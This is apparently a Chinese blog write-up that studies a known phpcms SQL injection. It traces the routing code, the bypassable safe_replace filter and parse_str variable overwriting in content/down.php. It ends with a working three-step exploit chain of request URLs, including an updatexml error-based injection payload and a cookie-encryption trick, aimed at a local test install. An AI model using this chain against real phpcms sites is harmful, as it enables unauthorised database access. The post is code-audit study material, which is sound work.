还有几天就要翘课一个礼拜去深圳和厦门被各位大佬虐菜了…由于本菜鸡的代码审计一直是弱项,所以为了能打好这场比赛,这两天便找了一些代码和漏洞分析文章来学习学习.今天玩了一下这个好几个月之前的phpcms的漏洞,在差不多搞了个大概之后写了这篇文章来记录一下这个漏洞的原理.
0x01 phpcms的路由处理方式
index.php中,可以看到调用了pc_base::create_app()方法.跟进这个方法最后调用了_load_class()函数,参数为application.
private static function _load_class($classname, $path = '', $initialize = 1) {
static $classes = array();
if (empty($path)) $path = 'libs'.DIRECTORY_SEPARATOR.'classes';
$key = md5($path.$classname);
if (isset($classes[$key])) {
if (!empty($classes[$key])) {
return $classes[$key];
} else {
return true;
}
}
if (file_exists(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php')) {
include PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php';
$name = $classname;
if ($my_path = self::my_path(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php')) {
include $my_path;
$name = 'MY_'.$classname;
}
if ($initialize) {
$classes[$key] = new $name;
} else {
$classes[$key] = true;
}
return $classes[$key];
} else {
return false;
}
}
跟进phpcms/libs/classes/application.class.php文件中
<?php
/**
* application.class.php PHPCMS应用程序创建类
*
* @copyright (C) 2005-2010 PHPCMS
* @license http://www.phpcms.cn/license/
* @lastmodify 2010-6-7
*/
class application {
/**
* 构造函数
*/
public function __construct() {
$param = pc_base::load_sys_class('param');
define('ROUTE_M', $param->route_m());
define('ROUTE_C', $param->route_c());
define('ROUTE_A', $param->route_a());
$this->init();
}
/**
* 调用件事
*/
private function init() {
$controller = $this->load_controller();
if (method_exists($controller, ROUTE_A)) {
if (preg_match('/^[_]/i', ROUTE_A)) {
exit('You are visiting the action is to protect the private action');
} else {
call_user_func(array($controller, ROUTE_A));
}
} else {
exit('Action does not exist.');
}
}
/**
* 加载控制器
* @param string $filename
* @param string $m
* @return obj
*/
private function load_controller($filename = '', $m = '') {
if (empty($filename)) $filename = ROUTE_C;
if (empty($m)) $m = ROUTE_M;
$filepath = PC_PATH.'modules'.DIRECTORY_SEPARATOR.$m.DIRECTORY_SEPARATOR.$filename.'.php';
if (file_exists($filepath)) {
$classname = $filename;
include $filepath;
if ($mypath = pc_base::my_path($filepath)) {
$classname = 'MY_'.$filename;
include $mypath;
}
if(class_exists($classname)){
return new $classname;
}else{
exit('Controller does not exist.');
}
} else {
exit('Controller does not exist.');
}
}
}
可以看到构造函数中将param的route_m,route_c,route_a作为为模块名,控制器,控制器的相关函数,然后调用init函数加载这个模块的相应控制器的相应函数.跟进/phpcms/libs/classes/param.class.php文件可以得知这三个成员变量分别来自$_GET['m']
,$_GET['c']
,$_GET['a']
中. 由此可确定phpcms的路由规则:index.php?m=module名称&c=controller名称&a=函数
0x02 注入漏洞分析
phpcms中负责过滤的一个函数safe_replace
源码如下:
function safe_replace($string) {
$string = str_replace('%20','',$string);
$string = str_replace('%27','',$string);
$string = str_replace('%2527','',$string);
$string = str_replace('*','',$string);
$string = str_replace('"','"',$string);
$string = str_replace("'",'',$string);
$string = str_replace('"','',$string);
$string = str_replace(';','',$string);
$string = str_replace('<','<',$string);
$string = str_replace('>','>',$string);
$string = str_replace("{",'',$string);
$string = str_replace('}','',$string);
$string = str_replace('\\','',$string);
return $string;
}
可以看到这个函数是可以绕过的,只要传参%*27即可绕过过滤.
注入点
这个漏洞的注入点位于phpcms/modules/content/down.php文件中,代码如下:
public function init() {
$a_k = trim($_GET['a_k']);
if(!isset($a_k)) showmessage(L('illegal_parameters'));
$a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));
if(empty($a_k)) showmessage(L('illegal_parameters'));
unset($i,$m,$f);
parse_str($a_k);
if(isset($i)) $i = $id = intval($i);
if(!isset($m)) showmessage(L('illegal_parameters'));
if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));
if(empty($f)) showmessage(L('url_invalid'));
$allow_visitor = 1;
$MODEL = getcache('model','commons');
$tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id));
$siteids = getcache('category_content','commons');
$siteid = $siteids[$catid];
$CATEGORYS = getcache('category_content_'.$siteid,'commons');
可以看到$a_k变量可控,对$a_k变量做一系列处理之后使用parse_str函数进行处理,这也是这个漏洞产生的一个重要原因.之后的几个变量都可以覆盖过去,可以看到$id变量被直接传递到了get_one函数中.跟进phpcms处理model相关的文件中/phpcms/libs/classes/db_access.class.php
:
/**
* 获取单条记录查询
* @param $where 查询条件
* @param $data 需要查询的字段值[例`name`,`gender`,`birthday`]
* @param $order 排序方式 [默认按数据库默认方式排序]
* @param $group 分组方式 [默认为空]
* @return array/null 数据查询结果集,如果不存在,则返回空
*/
final public function get_one($where = '', $data = '*', $order = '', $group = '') {
if (is_array($where)) $where = $this->sqls($where);
return $this->db->get_one($data, $this->table_name, $where, $order, $group);
}
/**
* 将数组转换为SQL语句
* @param array $where 要生成的数组
* @param string $font 连接串。
*/
final public function sqls($where, $font = ' AND ') {
if (is_array($where)) {
$sql = '';
foreach ($where as $key=>$val) {
$sql .= $sql ? " $font `$key` = '$val' " : " `$key` = '$val'";
}
return $sql;
} else {
return $where;
}
}
调用get_one函数,跟进文件/phpcms/libs/classes/db_mysqli.class.php
中
/**
* 获取单条记录查询
* @param $data 需要查询的字段值[例`name`,`gender`,`birthday`]
* @param $table 数据表
* @param $where 查询条件
* @param $order 排序方式 [默认按数据库默认方式排序]
* @param $group 分组方式 [默认为空]
* @return array/null 数据查询结果集,如果不存在,则返回空
*/
public function get_one($data, $table, $where = '', $order = '', $group = '') {
$where = $where == '' ? '' : ' WHERE '.$where;
$order = $order == '' ? '' : ' ORDER BY '.$order;
$group = $group == '' ? '' : ' GROUP BY '.$group;
$limit = ' LIMIT 1';
$field = explode( ',', $data);
array_walk($field, array($this, 'add_special_char'));
$data = implode(',', $field);
$sql = 'SELECT '.$data.' FROM `'.$this->config['database'].'`.`'.$table.'`'.$where.$group.$order.$limit;
$this->execute($sql);
$res = $this->fetch_next();
$this->free_result();
return $res;
}
可以看到最终$id被直接拼接到了sql语句中.因此可以进行注入.那么怎么控制$id的值? 回到down.php文件中
public function init() {
$a_k = trim($_GET['a_k']);
if(!isset($a_k)) showmessage(L('illegal_parameters'));
$a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));
if(empty($a_k)) showmessage(L('illegal_parameters'));
unset($i,$m,$f);
parse_str($a_k);
if(isset($i)) $i = $id = intval($i);
可以看到这个$a_k是从$_GET['a_k']
解密得来的.只要找到一个加密的点即可控制输出.
加密点
这里师傅们用的加密的点是/phpcms/modules/attachment/attachments.php
文件中的函数swfupload_json.
/**
* 设置swfupload上传的json格式cookie
*/
public function swfupload_json() {
$arr['aid'] = intval($_GET['aid']);
$arr['src'] = safe_replace(trim($_GET['src']));
$arr['filename'] = urlencode(safe_replace($_GET['filename']));
$json_str = json_encode($arr);
$att_arr_exist = param::get_cookie('att_json');
$att_arr_exist_tmp = explode('||', $att_arr_exist);
if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {
return true;
} else {
$json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str;
param::set_cookie('att_json',$json_str);
return true;
}
}
在这个函数中,将$_GET[‘src’]使用safe_replace()函数处理后进入$arr[‘src’]中,再对$arr进行json_encode,只要不存在att_json这样一个cookie或者$json_str不在数组中就会进入else的循环中,而跟进set_cookie函数则可发现phpcms输出的cookie值正好为加密后的cookie.因此我们便可以利用这个点来加密我们的注入语句. 然而phpcms的attachments类会进行一个用户身份的判断
function __construct() {
pc_base::load_app_func('global');
$this->upload_url = pc_base::load_config('system','upload_url');
$this->upload_path = pc_base::load_config('system','upload_path');
$this->imgext = array('jpg','gif','png','bmp','jpeg');
$this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE'));
$this->isadmin = $this->admin_username = $_SESSION['roleid'] ? 1 : 0;
$this->groupid = param::get_cookie('_groupid') ? param::get_cookie('_groupid') : 8;
//判断是否登录
if(empty($this->userid)){
showmessage(L('please_login','','member'));
}
}
这里通过判断$this->userid来测试用户是否登录,可以发现userid除了可以来自于cookie外还可以来自于$_POST[‘userid_flash’]中. 这里师傅们使用的生成这个加密后的$_POST[‘userid_flash’]的点在/phpcms/modules/wap/index.php
文件中:
function __construct() {
$this->db = pc_base::load_model('content_model');
$this->siteid = isset($_GET['siteid']) && (intval($_GET['siteid']) > 0) ? intval(trim($_GET['siteid'])) : (param::get_cookie('siteid') ? param::get_cookie('siteid') : 1);
param::set_cookie('siteid',$this->siteid);
$this->wap_site = getcache('wap_site','wap');
$this->types = getcache('wap_type','wap');
$this->wap = $this->wap_site[$this->siteid];
define('WAP_SITEURL', $this->wap['domain'] ? $this->wap['domain'].'index.php?' : APP_PATH.'index.php?m=wap&siteid='.$this->siteid);
if($this->wap['status']!=1) exit(L('wap_close_status'));
}
//展示首页
public function init() {
$WAP = $this->wap;
$TYPE = $this->types;
$WAP_SETTING = string2array($WAP['setting']);
$GLOBALS['siteid'] = $siteid = max($this->siteid,1);
$template = $WAP_SETTING['index_template'] ? $WAP_SETTING['index_template'] : 'index';
include template('wap', $template);
}
设置了一个siteid的cookie,可以利用这个cookie的值传入到之前的那个$_POST[‘userid_flash’]中.
0x03 注入验证
Step1 获取之前的userid
访问http://127.0.0.1/phpcms2/index.php?m=wap&c=index&a=init&siteid=1
,获取cookie中的siteid值.
Step2 获取加密后的sql语句
访问http://127.0.0.1/phpcms2/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id%3d%25*27+and+updatexml(1,concat(0x7e,database()),0x7e)%23%26m%3d1%26f%3dhaha%26modelid%3d2%26catid%3d7%26&
,获取cookie中att_json值.
Step3 执行注入
访问http://127.0.0.1/phpcms2/index.php?m=content&c=down&a=init&a_k=加密后的字符串
,即可验证.
0x04 参考文件
0x05 题外话
比赛求各位大佬们轻虐!